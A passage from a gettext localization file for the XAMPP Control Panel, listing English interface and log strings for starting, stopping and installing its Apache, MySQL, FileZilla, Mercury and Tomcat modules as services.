(*.*)|*.*" msgstr "Executables (*.exe)|*.exe|All files (*.*)|*.*" #. fConfigUserDefined..Caption #: uConfigUserDefined.dfm:4 msgid "User-defined log/config-files" msgstr "User-defined log/config-files" #. fConfigUserDefined..lblDescription1....Caption #: uConfigUserDefined.dfm:34 msgid "Enter user defined files. Files must be relative to xampp-basedir!" msgstr "Enter user defined files. Files must be relative to xampp-basedir!" #. fConfigUserDefined..lblDescription2..Caption #: uConfigUserDefined.dfm:51 msgid "Example: \"apache\\conf\\extra\\httpd-info.conf\"" msgstr "Example: \"apache\\conf\\extra\\httpd-info.conf\"" #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheConf..Caption #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLConf..Caption #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaConf..Caption #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryConf..Caption #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatConf..Caption #. fMain..bConfig..Caption #. fMain..gbModules..bApacheConfig..Caption #. fMain..gbModules..bMySQLConfig..Caption #. fMain..gbModules..bFileZillaConfig..Caption #. fMain..gbModules..bMercuryConfig..Caption #. fMain..gbModules..bTomcatConfig..Caption #: uConfigUserDefined.dfm:171 uConfigUserDefined.dfm:242 #: uConfigUserDefined.dfm:313 uConfigUserDefined.dfm:384 #: uConfigUserDefined.dfm:455 uMain.dfm:1049 uMain.dfm:1500 uMain.dfm:1526 #: uMain.dfm:1552 uMain.dfm:1578 uMain.dfm:1711 msgid "Config" msgstr "Config" #. fConfigUserDefined..pcUserDefConf..pApache..pnlApache..lblApacheLogs..Caption #. fConfigUserDefined..pcUserDefConf..pMySQL..pnlMySQL..lblMySQLLogs..Caption #. fConfigUserDefined..pcUserDefConf..pFileZilla..pnlFileZilla..lblFileZillaLogs..Caption #. fConfigUserDefined..pcUserDefConf..pMercury..pnlMercury..lblMercuryLogs..Caption #. fConfigUserDefined..pcUserDefConf..TabSheet5..pnlTomcat..lblTomcatLogs..Caption #. fMain..gbModules..bApacheLogs..Caption #. fMain..gbModules..bMySQLLogs..Caption #. fMain..gbModules..bFileZillaLogs..Caption #. fMain..gbModules..bMercurylogs..Caption #. fMain..gbModules..bTomcatLogs..Caption #: uConfigUserDefined.dfm:188 uConfigUserDefined.dfm:259 #: uConfigUserDefined.dfm:330 uConfigUserDefined.dfm:401 #: uConfigUserDefined.dfm:472 uMain.dfm:1513 uMain.dfm:1539 uMain.dfm:1565 #: uMain.dfm:1672 uMain.dfm:1738 msgid "Logs" msgstr "Logs" #. fHelp..Caption #. fMain..bHelp..Caption #: uHelp.dfm:4 uMain.dfm:1834 msgid "Help" msgstr "Help" #. fHelp..lblMainProg..Caption #: uHelp.dfm:30 msgid "Programmed by Steffen Strueber" msgstr "Programmed by Steffen Strueber" #. fHelp..lblSecondProg..Caption #: uHelp.dfm:47 msgid "Enhanced by hackattack142" msgstr "Enhanced by hackattack142" #. fHelp..lblHelpEng..Caption #: uHelp.dfm:64 msgid "Need Help? Visit the XAMPP forums (English):" msgstr "Need Help? Visit the XAMPP forums (English):" #. fHelp..lblHelpGer..Caption #: uHelp.dfm:81 msgid "Need Help? Visit the XAMPP forums (German):" msgstr "Need Help? Visit the XAMPP forums (German):" #. fHelp..bHelpClose..Caption #: uHelp.dfm:127 msgid "Close" msgstr "Close" #. fHelp..bReadMe..Caption #: uHelp.dfm:136 msgid "View ReadMe" msgstr "View ReadMe" #. fLanguage..Caption #: uLanguage.dfm:5 msgid "Language" msgstr "Language" #. fLogOptions..lblLogFont..Caption #: uLogOptions.dfm:23 msgid "Log Font" msgstr "Log Font" #. fLogOptions..lblLogFontSize..Caption #: uLogOptions.dfm:36 msgid "Log Font Size" msgstr "Log Font Size" #. fLogOptions..bSelect..Caption #: uLogOptions.dfm:63 msgid "Select Font" msgstr "Select Font" #. fMain..Caption #. fMain..lHeader..Caption #: uMain.dfm:4 uMain.dfm:1011 msgid "XAMPP Control Panel v" msgstr "XAMPP Control Panel v" #. fMain..bSCM..Caption #: uMain.dfm:1095 msgid "Services" msgstr "Services" #. fMain..gbModules..Caption #: uMain.dfm:1141 msgid " Modules " msgstr " Modules " #. fMain..gbModules..lPIDs..Caption #: uMain.dfm:1159 msgid "PID(s)" msgstr "PID(s)" #. fMain..gbModules..lPorts..Caption #: uMain.dfm:1177 msgid "Port(s)" msgstr "Port(s)" #. fMain..gbModules..Label1..Caption #: uMain.dfm:1303 uTools.pas:482 msgid "Service" msgstr "Service" #. fMain..gbModules..Label2..Caption #: uMain.dfm:1321 msgid "Module" msgstr "Module" #. fMain..gbModules..Label3..Caption #: uMain.dfm:1338 msgid "Actions" msgstr "Actions" #. fMain..gbModules..bApacheAction..Caption #. fMain..gbModules..bMySQLAction..Caption #. fMain..gbModules..bFileZillaAction..Caption #. fMain..gbModules..bMercuryAction..Caption #. fMain..gbModules..bTomcatAction..Caption #. fMain..puSystray..ApacheTray..ApacheTrayControl..Caption #. fMain..puSystray..MySQLTray..MySQLTrayControl..Caption #. fMain..puSystray..FileZillaTray..FileZillaTrayControl..Caption #. fMain..puSystray..MercuryTray..MercuryTrayControl..Caption #. fMain..puSystray..TomcatTray..TomcatTrayControl..Caption #: uMain.dfm:1382 uMain.dfm:1408 uMain.dfm:1434 uMain.dfm:1460 uMain.dfm:1685 #: uMain.dfm:3006 uMain.dfm:3014 uMain.dfm:3022 uMain.dfm:3030 uMain.dfm:3038 #: uApache.pas:478 uApache.pas:481 uFileZilla.pas:369 uFileZilla.pas:372 #: uMercury.pas:342 uMercury.pas:345 uMySQL.pas:384 uMySQL.pas:387 #: uTomcat.pas:442 uTomcat.pas:445 msgid "Start" msgstr "Start" #. fMain..gbModules..bApacheAdmin..Caption #. fMain..gbModules..bMySQLAdmin..Caption #. fMain..gbModules..bFileZillaAdmin..Caption #. fMain..gbModules..bMercuryAdmin..Caption #. fMain..gbModules..bTomcatAdmin..Caption #: uMain.dfm:1395 uMain.dfm:1421 uMain.dfm:1447 uMain.dfm:1473 uMain.dfm:1698 msgid "Admin" msgstr "Admin" #. fMain..gbModules..bApacheService..Hint #: uMain.dfm:1653 msgid "Install Apache as a Windows Service" msgstr "Install Apache as a Windows Service" #. fMain..bQuit..Caption #. fMain..puSystray..miTerminate..Caption #: uMain.dfm:1788 uMain.dfm:3046 msgid "Quit" msgstr "Quit" #. fMain..bExplorer..Caption #: uMain.dfm:1880 msgid "Explorer" msgstr "Explorer" #. fMain..bNetstat..Caption #: uMain.dfm:1926 msgid "Netstat" msgstr "Netstat" #. fMain..bXamppShell..Caption #: uMain.dfm:1972 msgid "Shell" msgstr "Shell" #. fMain..puSystray..miShowHide..Caption #: uMain.dfm:2995 msgid "Show / Hide" msgstr "Show / Hide" #. fMain..puLog..Copy1..Caption #: uMain.dfm:3735 msgid "Copy" msgstr "Copy" #. fMain..puLog..SelectAll1..Caption #: uMain.dfm:3739 msgid "Select All" msgstr "Select All" #. fNetstat..Caption #: uNetstat.dfm:5 msgid "Netstat - TCP Listening sockets" msgstr "Netstat - TCP Listening sockets" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:37 msgid "Address" msgstr "Address" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:42 msgid "Port" msgstr "Port" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:47 msgid "PID" msgstr "PID" #. fNetstat..lvSockets......Caption #: uNetstat.dfm:51 msgid "Name" msgstr "Name" #. fNetstat..bRefresh..Caption #: uNetstat.dfm:81 msgid "Refresh" msgstr "Refresh" #. fNetstat..pnlActiveExample..Caption #: uNetstat.dfm:107 msgid "Active socket" msgstr "Active socket" #. fNetstat..pnlOldExample..Caption #: uNetstat.dfm:127 msgid "Old socket" msgstr "Old socket" #. fNetstat..pnlNewExample..Caption #: uNetstat.dfm:147 msgid "New socket" msgstr "New socket" #. fServiceSettings..Caption #: uServiceSettings.dfm:4 msgid "Service Settings" msgstr "Service Settings" #. fServiceSettings..lMain....Caption #: uServiceSettings.dfm:29 msgid "" "Use this form to set service-specific and default port settings. You can " "set the name and default ports the XAMPP Control Panel will check. Do not " "include spaces or quotes in names. This does NOT change the ports that the " "services and programs use. You still need to change those in the services' " "configuration files." msgstr "" "Use this form to set service-specific and default port settings. You can " "set the name and default ports the XAMPP Control Panel will check. Do not " "include spaces or quotes in names. This does NOT change the ports that the " "services and programs use. You still need to change those in the services' " "configuration files." #. fServiceSettings..pcSettings..pApache..gApache..Caption #: uServiceSettings.dfm:125 msgid "Apache Settings" msgstr "Apache Settings" #. fServiceSettings..pcSettings..pApache..gApache..lApacheName..Caption #. fServiceSettings..pcSettings..pMySQL..gMySQL..lMySQLName..Caption #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaName..Caption #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatName..Caption #: uServiceSettings.dfm:135 uServiceSettings.dfm:219 uServiceSettings.dfm:276 #: uServiceSettings.dfm:524 msgid "Service Name" msgstr "Service Name" #. fServiceSettings..pcSettings..pApache..gApache..lApacheMain..Caption #. fServiceSettings..pcSettings..pMySQL..gMySQL..lMySQLMain..Caption #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaMain..Caption #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatMain..Caption #: uServiceSettings.dfm:142 uServiceSettings.dfm:212 uServiceSettings.dfm:269 #: uServiceSettings.dfm:503 msgid "Main Port" msgstr "Main Port" #. fServiceSettings..pcSettings..pApache..gApache..lApacheSSL..Caption #: uServiceSettings.dfm:149 msgid "SSL Port" msgstr "SSL Port" #. fServiceSettings..pcSettings..pMySQL..gMySQL..Caption #: uServiceSettings.dfm:202 msgid "MySQL Settings" msgstr "MySQL Settings" #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..Caption #: uServiceSettings.dfm:259 msgid "FileZilla Settings" msgstr "FileZilla Settings" #. fServiceSettings..pcSettings..pFileZilla..gFileZilla..lFileZillaAdmin..Caption #: uServiceSettings.dfm:283 msgid "Admin Port" msgstr "Admin Port" #. fServiceSettings..pcSettings..pMercury..gMercury..Caption #: uServiceSettings.dfm:336 msgid "Mercury Settings" msgstr "Mercury Settings" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP1..Caption #: uServiceSettings.dfm:346 msgid "Port 1" msgstr "Port 1" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP2..Caption #: uServiceSettings.dfm:353 msgid "Port 2" msgstr "Port 2" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP3..Caption #: uServiceSettings.dfm:360 msgid "Port 3" msgstr "Port 3" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP4..Caption #: uServiceSettings.dfm:367 msgid "Port 4" msgstr "Port 4" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP5..Caption #: uServiceSettings.dfm:374 msgid "Port 5" msgstr "Port 5" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP6..Caption #: uServiceSettings.dfm:381 msgid "Port 6" msgstr "Port 6" #. fServiceSettings..pcSettings..pMercury..gMercury..lMercuryP7..Caption #: uServiceSettings.dfm:388 msgid "Port 7" msgstr "Port 7" #. fServiceSettings..pcSettings..pTomcat..gTomcat..Caption #: uServiceSettings.dfm:493 msgid "Tomcat Settings" msgstr "Tomcat Settings" #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatHTTP..Caption #: uServiceSettings.dfm:510 msgid "HTTP Port" msgstr "HTTP Port" #. fServiceSettings..pcSettings..pTomcat..gTomcat..lTomcatAJP..Caption #: uServiceSettings.dfm:517 msgid "AJP Port" msgstr "AJP Port" #. 64 bit? dann DIESE shell starten! #. 64 bit? dann DIESE shell starten! #: uApache.pas:56 uFileZilla.pas:199 uMySQL.pas:49 uTomcat.pas:48 #: uTomcat.pas:207 uTomcat.pas:230 uTomcat.pas:270 uTomcat.pas:313 msgid "Executing \"%s\" \"%s\"" msgstr "Executing \"%s\" \"%s\"" #. AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); #. AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); #: uApache.pas:61 uApache.pas:274 uFileZilla.pas:42 uFileZilla.pas:217 #: uFileZilla.pas:231 uFileZilla.pas:251 uFileZilla.pas:265 uMain.pas:228 #: uMain.pas:394 uMain.pas:683 uMercury.pas:189 uMySQL.pas:54 uMySQL.pas:210 #: uMySQL.pas:224 uMySQL.pas:247 uTomcat.pas:53 uTomcat.pas:252 #: uTomcat.pas:295 msgid "Executing \"%s\"" msgstr "Executing \"%s\"" #: uApache.pas:73 uFileZilla.pas:54 uMySQL.pas:66 uTomcat.pas:65 msgid "Service installed" msgstr "Service installed" #: uApache.pas:77 uFileZilla.pas:58 uMySQL.pas:70 uTomcat.pas:69 msgid "Service not installed" msgstr "Service not installed" #: uApache.pas:78 uFileZilla.pas:59 uMySQL.pas:71 uTomcat.pas:70 msgid "Checking for service (name=\"%s\"): %s" msgstr "Checking for service (name=\"%s\"): %s" #: uApache.pas:82 uFileZilla.pas:63 uMySQL.pas:75 uTomcat.pas:74 msgid "Service Path: %s" msgstr "Service Path: %s" #: uApache.pas:86 msgid "Apache Service detected with wrong path" msgstr "Apache Service detected with wrong path" #: uApache.pas:87 msgid "Change XAMPP Apache settings or" msgstr "Change XAMPP Apache settings or" #: uApache.pas:88 uFileZilla.pas:69 uMySQL.pas:81 uTomcat.pas:80 msgid "Uninstall/disable the other service manually first" msgstr "Uninstall/disable the other service manually first" #: uApache.pas:89 uFileZilla.pas:70 uMySQL.pas:82 uTomcat.pas:81 msgid "Found Path: %s" msgstr "Found Path: %s" #: uApache.pas:90 msgid "Expected Path: \"%sapache\\bin\\%s\" -k runservice" msgstr "Expected Path: \"%sapache\\bin\\%s\" -k runservice" #: uApache.pas:94 uFileZilla.pas:75 uMySQL.pas:87 uTomcat.pas:86 msgid "Service Path: Service Not Installed" msgstr "Service Path: Service Not Installed" #. =(Config.ServicePorts.Apache,Config.ServicePorts.ApacheSSL); #. DidShowRunningWarn:=false; #. PID:=-1; #: uApache.pas:112 uFileZilla.pas:90 uMercury.pas:103 uMySQL.pas:100 #: uTomcat.pas:106 msgid "Initializing module..." msgstr "Initializing module..." #: uApache.pas:115 uFileZilla.pas:95 uMercury.pas:106 uMySQL.pas:103 #: uTomcat.pas:111 msgid "Checking for module existence..." msgstr "Checking for module existence..." #: uApache.pas:119 msgid "Problem detected: Apache Not Found!" msgstr "Problem detected: Apache Not Found!" #: uApache.pas:120 msgid "Disabling Apache buttons" msgstr "Disabling Apache buttons" #: uApache.pas:121 uFileZilla.pas:104 uMercury.pas:112 uMySQL.pas:109 #: uTomcat.pas:117 msgid "Run this program from your XAMPP root directory!" msgstr "Run this program from your XAMPP root directory!" #: uApache.pas:129 uFileZilla.pas:115 uMySQL.pas:117 uTomcat.pas:125 msgid "Apache Service is disabled." msgstr "Apache Service is disabled." #: uApache.pas:133 uFileZilla.pas:119 uMercury.pas:118 uMySQL.pas:121 #: uTomcat.pas:129 msgid "Checking for required tools..." msgstr "Checking for required tools..." #: uApache.pas:144 uFileZilla.pas:126 uMercury.pas:126 uMySQL.pas:133 #: uTomcat.pas:151 msgid "Checking default ports..." msgstr "Checking default ports..." #. if (LowerCase(PortBlocker) = LowerCase(ServerApp)) then #. if (LowerCase(PortBlocker) = LowerCase(ServerApp)) then #. if (LowerCase(PortBlocker) = LowerCase(ServerApp)) then #. if (LowerCase(PortBlocker) = LowerCase(ServerApp)) then #. if (LowerCase(PortBlocker) = LowerCase('java.exe')) or (LowerCase(PortBlocker) = LowerCase('javaw.exe')) then #: uApache.pas:152 uFileZilla.pas:134 uMercury.pas:134 uMySQL.pas:138 #: uTomcat.pas:160 msgid "Portblocker Detected: %s" msgstr "Portblocker Detected: %s" #: uApache.pas:153 uFileZilla.pas:135 uMercury.pas:135 uMySQL.pas:139 #: uTomcat.pas:161 msgid "Checking for App: %s" msgstr "Checking for App: %s" #: uApache.pas:155 uFileZilla.pas:137 uMySQL.pas:141 uTomcat.pas:163 msgid "Checking for Service: %s" msgstr "Checking for Service: %s" #. AddLog(Format(_('"%s" seems to be running on port %d?'),[ServerApp,Ports[p]]),ltError); #: uApache.pas:159 msgid "XAMPP Apache is already running on port %d" msgstr "XAMPP Apache is already running on port %d" #: uApache.pas:163 msgid "XAMPP Apache Service is already running on port %d" msgstr "XAMPP Apache Service is already running on port %d" #. AddLog('Possible problem detected: Port ' + InttoStr(Ports[p]) + ' in use by "' + PortBlocker + '"!', ltError); #: uApache.pas:168 uFileZilla.pas:149 uMercury.pas:150 uMySQL.pas:153 #: uTomcat.pas:180 msgid "Problem detected!" msgstr "Problem detected!" #: uApache.pas:169 uFileZilla.pas:150 uMercury.pas:151 uMySQL.pas:154 #: uTomcat.pas:181 msgid "Port %d in use by \"%s\"!" msgstr "Port %d in use by \"%s\"!" #: uApache.pas:170 msgid "Apache WILL NOT start without the configured ports free!" msgstr "Apache WILL NOT start without the configured ports free!" #: uApache.pas:171 uFileZilla.pas:152 uMercury.pas:153 uMySQL.pas:156 #: uTomcat.pas:183 msgid "You need to uninstall/disable/reconfigure the blocking application" msgstr "You need to uninstall/disable/reconfigure the blocking application" #: uApache.pas:172 msgid "or reconfigure Apache to listen on a different port" msgstr "or reconfigure Apache to listen on a different port" #: uApache.pas:190 uMain.pas:883 uMySQL.pas:176 uMySQL.pas:192 msgid "Executing %s %s" msgstr "Executing %s %s" #. RunAsAdmin(App, Param3, SW_HIDE); #: uApache.pas:201 uFileZilla.pas:182 uMySQL.pas:175 uTomcat.pas:206 msgid "Installing service..." msgstr "Installing service..." #: uApache.pas:202 uApache.pas:218 uApache.pas:235 uFileZilla.pas:175 #: uFileZilla.pas:179 uFileZilla.pas:183 msgid "Executing \"%s %s\"" msgstr "Executing \"%s %s\"" #. RC := RunAsAdmin('net', App, SW_HIDE); #. RC := RunAsAdmin('net', App, SW_HIDE); #. RC := RunAsAdmin(App, Param, SW_HIDE); #. RC := RunAsAdmin(App, Param, SW_HIDE); #. RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); #. RC:=ShellExecute_AndWait('open', App, Param, '', SW_HIDE, true); #: uApache.pas:205 uApache.pas:221 uApache.pas:253 uApache.pas:277 #: uApache.pas:312 uFileZilla.pas:186 uFileZilla.pas:202 uFileZilla.pas:220 #: uFileZilla.pas:235 uFileZilla.pas:254 uFileZilla.pas:269 uMercury.pas:192 #: uMySQL.pas:179 uMySQL.pas:195 uMySQL.pas:213 uMySQL.pas:227 uMySQL.pas:250 #: uTomcat.pas:210 uTomcat.pas:233 uTomcat.pas:255 uTomcat.pas:275 #: uTomcat.pas:298 msgid "Return code: %d" msgstr "Return code: %d" #. ErrMsg := SysUtils.SysErrorMessage(System.GetLastError); #. ErrMsg := SysUtils.SysErrorMessage(System.GetLastError); #: uApache.pas:207 uApache.pas:223 uApache.pas:257 uApache.pas:281 #: uApache.pas:316 uFileZilla.pas:188 uFileZilla.pas:204 uFileZilla.pas:222 #: uFileZilla.pas:237 uFileZilla.pas:256 uFileZilla.pas:271 uMercury.pas:194 #: uMySQL.pas:181 uMySQL.pas:197 uMySQL.pas:216 uMySQL.pas:230 uMySQL.pas:253 #: uTomcat.pas:259 uTomcat.pas:302 msgid "There may be an error, return code: %d - %s" msgstr "There may be an error, return code: %d - %s" #: uApache.pas:217 uTomcat.pas:229 msgid "Uninstalling service..." msgstr "Uninstalling service..." #. , Param: string; #: uApache.pas:247 uFileZilla.pas:215 uMySQL.pas:208 uTomcat.pas:250 msgid "Attempting to start %s service..." msgstr "Attempting to start %s service..." #. AddLog(Format(_('%s'), [ErrMsg]), ltError); #. AddLog(Format(_('%s'), [ErrMsg]), ltError); #. AddLog(Format(_('%s'), [ErrMsg]), ltError); #: uApache.pas:264 uApache.pas:288 uApache.pas:323 msgid "You appear to be missing the VC9 Runtime Files" msgstr "You appear to be missing the VC9 Runtime Files" #: uApache.pas:265 uApache.pas:289 uApache.pas:324 msgid "" "You need to download and install the Microsoft Visual C++ 2008 SP1 (x86) " "Runtimes" msgstr "" "You need to download and install the Microsoft Visual C++ 2008 SP1 (x86) " "Runtimes" #. Param := '-compat -start'; #. AddLog(Format(_('%s'), [SysUtils.SysErrorMessage(System.GetLastError)]), ltError); #: uApache.pas:272 uFileZilla.pas:229 uMercury.pas:188 uMySQL.pas:222 #: uTomcat.pas:264 msgid "Attempting to start %s app..." msgstr "Attempting to start %s app..." #. App, ErrMsg: string; #. , Param: string; #: uApache.pas:306 uFileZilla.pas:249 uMySQL.pas:245 uTomcat.pas:293 msgid "Attempting to stop %s service..." msgstr "Attempting to stop %s service..." #. AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); #: uApache.pas:336 uMercury.pas:219 uMySQL.pas:264 msgid "Attempting to stop" msgstr "Attempting to stop" #. RC := RunProcess(App, SW_HIDE, false); #: uApache.pas:342 uMercury.pas:222 uMySQL.pas:267 msgid "Problem killing PID %d" msgstr "Problem killing PID %d" #: uApache.pas:343 uMercury.pas:223 uMySQL.pas:268 msgid "Check that you have the proper privileges" msgstr "Check that you have the proper privileges" #. end; #. end; #: uApache.pas:367 uMercury.pas:229 uMySQL.pas:284 msgid "No PIDs found?!" msgstr "No PIDs found?!" #. Change Status #: uApache.pas:438 uFileZilla.pas:340 uMercury.pas:313 uMySQL.pas:353 #: uTomcat.pas:413 msgid "running" msgstr "running" #: uApache.pas:441 uFileZilla.pas:343 uMercury.pas:316 uMySQL.pas:356 #: uTomcat.pas:416 msgid "stopped" msgstr "stopped" #: uApache.pas:445 uFileZilla.pas:347 uMercury.pas:320 uMySQL.pas:360 #: uTomcat.pas:420 msgid "Status change detected:" msgstr "Status change detected:" #: uApache.pas:449 msgid "Error: Apache shutdown unexpectedly." msgstr "Error: Apache shutdown unexpectedly." #: uApache.pas:450 uFileZilla.pas:352 uMercury.pas:325 uMySQL.pas:365 #: uTomcat.pas:425 msgid "This may be due to a blocked port, missing dependencies, " msgstr "This may be due to a blocked port, missing dependencies, " #: uApache.pas:451 uFileZilla.pas:353 uMercury.pas:326 uMySQL.pas:366 #: uTomcat.pas:426 msgid "improper privileges, a crash, or a shutdown by another method." msgstr "improper privileges, a crash, or a shutdown by another method." #: uApache.pas:452 msgid "Check the \"/xampp/apache/logs/error.log\" file" msgstr "Check the \"/xampp/apache/logs/error.log\" file" #: uApache.pas:453 uMySQL.pas:368 msgid "and the Windows Event Viewer for more clues" msgstr "and the Windows Event Viewer for more clues" #: uApache.pas:463 uApache.pas:466 uApache.pas:471 uFileZilla.pas:361 #: uFileZilla.pas:364 uMercury.pas:334 uMercury.pas:337 uMySQL.pas:376 #: uMySQL.pas:379 uTomcat.pas:434 uTomcat.pas:437 msgid "Stop" msgstr "Stop" #: uApache.pas:492 msgid "Autostart aborted: Apache is already running" msgstr "Autostart aborted: Apache is already running" #: uApache.pas:496 uFileZilla.pas:385 uMercury.pas:358 uMySQL.pas:400 #: uTomcat.pas:459 msgid "Autostart active: starting..." msgstr "Autostart active: starting..." #: uFileZilla.pas:67 msgid "FileZilla Service detected with wrong path" msgstr "FileZilla Service detected with wrong path" #: uFileZilla.pas:68 msgid "Change XAMPP FileZilla settings or" msgstr "Change XAMPP FileZilla settings or" #: uFileZilla.pas:71 msgid "Expected Path: \"%sFileZillaFTP\\%s\"" msgstr "Expected Path: \"%sFileZillaFTP\\%s\"" #: uFileZilla.pas:98 msgid "Checking for alternate module existence..." msgstr "Checking for alternate module existence..." #: uFileZilla.pas:102 msgid "Problem detected: FileZilla Not Found!" msgstr "Problem detected: FileZilla Not Found!" #: uFileZilla.pas:103 msgid "Disabling FileZilla buttons" msgstr "Disabling FileZilla buttons" #: uFileZilla.pas:140 msgid "XAMPP FileZilla FTP Server is already running on port %d" msgstr "XAMPP FileZilla FTP Server is already running on port %d" #: uFileZilla.pas:144 msgid "XAMPP FileZilla FTP Server Service is already running on port %d" msgstr "XAMPP FileZilla FTP Server Service is already running on port %d" #: uFileZilla.pas:151 msgid "FileZilla WILL NOT start without the configured ports free!" msgstr "FileZilla WILL NOT start without the configured ports free!" #: uFileZilla.pas:153 msgid "or reconfigure FileZilla to listen on a different port" msgstr "or reconfigure FileZilla to listen on a different port" #: uFileZilla.pas:174 msgid "Setting Service Name..." msgstr "Setting Service Name..." #. RunAsAdmin(App, Param2, SW_HIDE); #: uFileZilla.pas:178 msgid "Setting Service Display Name..." msgstr "Setting Service Display Name..." #. Param := '-compat -stop'; #: uFileZilla.pas:263 msgid "Attempting to stop %s app..." msgstr "Attempting to stop %s app..." #: uFileZilla.pas:351 msgid "Error: FileZilla shutdown unexpectedly." msgstr "Error: FileZilla shutdown unexpectedly." #: uFileZilla.pas:381 msgid "Autostart aborted: FileZilla is already running" msgstr "Autostart aborted: FileZilla is already running" #: uLanguage.pas:55 msgid "Restart application to apply changes!" msgstr "Restart application to apply changes!" #: uMain.pas:424 uMain.pas:433 uMain.pas:566 uMain.pas:574 uMain.pas:610 #: uMain.pas:620 uMain.pas:716 uMain.pas:725 uMain.pas:908 uMain.pas:909 #: uMain.pas:910 uMain.pas:922 uMain.pas:923 msgid "" msgstr "" #: uMain.pas:445 uMain.pas:498 uMain.pas:632 uMain.pas:737 msgid "" "Services cannot be installed or uninstalled while the service is running!" msgstr "" "Services cannot be installed or uninstalled while the service is running!" #: uMain.pas:450 uMain.pas:504 uMain.pas:637 uMain.pas:742 msgid "Click Yes to uninstall the %s service" msgstr "Click Yes to uninstall the %s service" #: uMain.pas:461 uMain.pas:515 uMain.pas:648 uMain.pas:753 msgid "Click Yes to install the %s service" msgstr "Click Yes to install the %s service" #: uMain.pas:473 uMain.pas:527 uMain.pas:660 uMain.pas:765 msgid "Service was NOT (un)installed!" msgstr "Service was NOT (un)installed!" #. WinXP #. WinXP #. WinXP #. WinXP #: uMain.pas:476 uMain.pas:530 uMain.pas:663 uMain.pas:768 msgid "" "One possible reason for failure: On windows security box you !!!MUST " "UNCHECK!!! the \"Protect my computer and data from unauthorized program " "activity\" checkbox!!!" msgstr "" "One possible reason for failure: On windows security box you !!!MUST " "UNCHECK!!! the \"Protect my computer and data from unauthorized program " "activity\" checkbox!!!" #: uMain.pas:481 uMain.pas:535 uMain.pas:668 uMain.pas:773 msgid "Successful!" msgstr "Successful!" #: uMain.pas:580 msgid "Mercury cannot be run as service!" msgstr "Mercury cannot be run as service!" #: uMain.pas:798 msgid "File \"%s\" not found. Should it be created now?" msgstr "File \"%s\" not found. Should it be created now?" #: uMain.pas:807 uTools.pas:250 uTools.pas:343 msgid "Error" msgstr "Error" #: uMain.pas:844 msgid "User defined" msgstr "User defined" #: uMain.pas:971 msgid "Initializing Control Panel" msgstr "Initializing Control Panel" #: uMain.pas:989 msgid "Windows Version: %s %s %s" msgstr "Windows Version: %s %s %s" #: uMain.pas:996 msgid "WARNING: Your Operating System is too old and is not supported" msgstr "WARNING: Your Operating System is too old and is not supported" #. else #: uMain.pas:1020 msgid "Running with Administrator rights - good!" msgstr "Running with Administrator rights - good!" #: uMain.pas:1024 msgid "You are not running with administrator rights! This will work for" msgstr "You are not running with administrator rights! This will work for" #: uMain.pas:1025 msgid "most application stuff but whenever you do something with services" msgstr "most application stuff but whenever you do something with services" #: uMain.pas:1026 msgid "there will be a security dialogue or things will break! So think " msgstr "there will be a security dialogue or things will break! So think " #: uMain.pas:1027 msgid "about running this application with administrator rights!" msgstr "about running this application with administrator rights!" #: uMain.pas:1030 msgid "XAMPP Installation Directory: \"%s\"" msgstr "XAMPP Installation Directory: \"%s\"" #: uMain.pas:1033 msgid "" "WARNING: Your install directory contains spaces. This may break programs/" "scripts" msgstr "" "WARNING: Your install directory contains spaces. This may break programs/" "scripts" #: uMain.pas:1058 msgid "" "WARNING: Your install directory contains special characters. This may break " "programs/scripts" msgstr "" "WARNING: Your install directory contains special characters. This may break " "programs/scripts" #: uMain.pas:1066 msgid "Checking for prerequisites" msgstr "Checking for prerequisites" #: uMain.pas:1075 msgid "Required XAMPP prerequisite not found!" msgstr "Required XAMPP prerequisite not found!" #: uMain.pas:1076 msgid "" "You do not appear to have the Microsoft Visual C++ 2008 Runtimes installed" msgstr "" "You do not appear to have the Microsoft Visual C++ 2008 Runtimes installed" #: uMain.pas:1077 msgid "This is required for XAMPP to fully function" msgstr "This is required for XAMPP to fully function" #: uMain.pas:1081 msgid "All prerequisites found" msgstr "All prerequisites found" #: uMain.pas:1088 msgid "VC++ checking is disabled" msgstr "VC++ checking is disabled" #: uMain.pas:1091 msgid "Initializing Modules" msgstr "Initializing Modules" #: uMain.pas:1098 msgid "The Apache module is disabled" msgstr "The Apache module is disabled" #: uMain.pas:1112 msgid "The MySQL module is disabled" msgstr "The MySQL module is disabled" #: uMain.pas:1126 msgid "The FileZilla module is disabled" msgstr "The FileZilla module is disabled" #: uMain.pas:1140 msgid "The Mercury module is disabled" msgstr "The Mercury module is disabled" #: uMain.pas:1153 msgid "The Tomcat module is disabled" msgstr "The Tomcat module is disabled" #: uMain.pas:1167 uMain.pas:1175 uMain.pas:1183 uMain.pas:1191 uMain.pas:1199 msgid "Enabling autostart for module \"%s\"" msgstr "Enabling autostart for module \"%s\"" #: uMain.pas:1203 msgid "Starting" msgstr "Starting" #. TimerUpdateStatus.Enabled := True; #: uMain.pas:1206 msgid "Control Panel Ready" msgstr "Control Panel Ready" #: uMain.pas:1212 msgid "Deinitializing Modules" msgstr "Deinitializing Modules" #: uMain.pas:1233 msgid "Deinitializing Control Panel" msgstr "Deinitializing Control Panel" #: uMercury.pas:110 msgid 